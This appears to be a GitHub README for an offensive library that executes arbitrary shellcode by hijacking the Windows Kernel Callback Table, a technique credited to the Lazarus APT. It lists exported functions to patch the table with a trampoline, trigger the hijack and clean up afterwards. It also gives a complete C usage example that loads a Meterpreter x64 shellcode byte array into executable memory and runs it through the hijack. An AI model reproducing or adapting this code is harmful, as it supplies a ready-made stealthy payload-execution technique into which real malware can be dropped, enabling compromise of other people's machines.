luxcupitor / KctHijackLib

using the kct to run your shellcode the apt style

What is This:

This is just a better version of my older repo, i provided a cleaner code, and as a lib file, so it is easier to implement, again the idea is originally from : North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign; and here is the vx-underground paper

Usage:

i added a Example for usage; basically you just have to link the lib using: #pragma comment(lib , "KctHijackAsLib.lib" and include LibHeaders.h in your cpp project, then you can use the exported functions:

• RunViaKctHijack : To patch the kct using a x64 trampoline shellcode, that will jump to the address you pass in, we are using __fnDWORD (WMIsAvailableOffline && wmvcore.dll) and not __fnCOPYDATA tech. RunViaKctHijack will return error code in case it occured, the returned value can be one of these .
• TriggerShellcode : This will run MessageBoxA function, to trigger the shellcode, and return a empty event as a handle.
• CleanUp : Cleanup The Trampoline shellcode (re-patch by old bytes), the newly created KCT table, free some memory and unmap wmvcore.dll, and set memory protections back to normal.

Example:

#include <Windows.h>
#include <stdio.h>
#include "LibHeaders.h"
#pragma comment(lib , "KctHijackAsLib.lib")

// METERPRETER x64 CALC
unsigned char rawData[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

int main() {
    DWORD Error;
    PVOID pShell = VirtualAlloc(NULL, sizeof rawData, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pShell, rawData, sizeof rawData);
    printf("[+] Running Shellcode On : 0x%p \n", (PVOID)pShell);
    if (!RunViaKctHijack(pShell, &Error) || Error != NO_ERROR_RETURNED) {
        printf("[!] RunViaKctHijack Failed; Error: %d \n", Error);
        return 0;
    }
    HANDLE hShell = TriggerShellcode();
    /*
    if (!CleanUp()) {
        printf("[!] CleanUp Returned -1; Error: %d \n", GetLastError());
        return 0;
    }
    */
    WaitForSingleObject(hShell, INFINITE);
    printf("[i] Press Enter To Exit ...\n");
    getchar();
    return 0;
}